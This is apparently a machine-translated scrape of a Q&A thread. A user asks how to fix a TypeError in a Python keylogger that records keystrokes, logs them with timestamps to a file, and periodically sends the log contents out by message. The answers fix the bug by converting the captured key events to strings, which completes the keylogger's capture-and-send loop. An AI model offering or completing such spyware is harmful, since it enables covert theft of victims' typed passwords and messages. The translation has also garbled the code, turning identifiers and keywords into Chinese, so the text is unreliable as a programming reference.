TypeError:write()参数必须是str,而不是list

时间:2017-01-04 01:36:50

标签: keyboard keylogger

def file_input(已记录):

now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()

如果名称 ==" 主要":

while 1:

    status = time.localtime()
    result = []
    keyboard.press_and_release('space')
    recorded = keyboard.record(until='enter')
    file_input(recorded)
    if (status.tm_min == 30):
        f = open("LOG.txt", 'r')
        file_content = f.read()
        f.close()
        send_simple_message(file_content)

我试图在python中编写一个键盘记录器,我遇到类型错误,我怎么能解决这个问题?

我只是将记录变量放入write()中,它产生类型错误,记录变量类型为list。所以我尝试使用join func但它没有工作

3 个答案:

答案 0 :(得分:8)

您尝试使用w.write()写入文件但它只需要一个字符串作为参数。 now_time是一个'日期时间'键入而不是字符串。如果您不需要格式化日期,则可以改为:

w.write(str(nowtime))

相同
w.write(recorded)

recorded是一个事件列表,您需要在尝试将该字符串写入文件之前使用它来构造字符串。例如:

recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))

然后,在file_input()函数内,你可以:

w.write(typedstr)

答案 1 :(得分:0)

通过更改为w.write(str(recorded)),我的问题得以解决。

答案 2 :(得分:0)

在某些情况下,当以字符串形式写入文本文件时仍然存在编码问题,_content 函数会很有用。

w.write(str(recorded._content))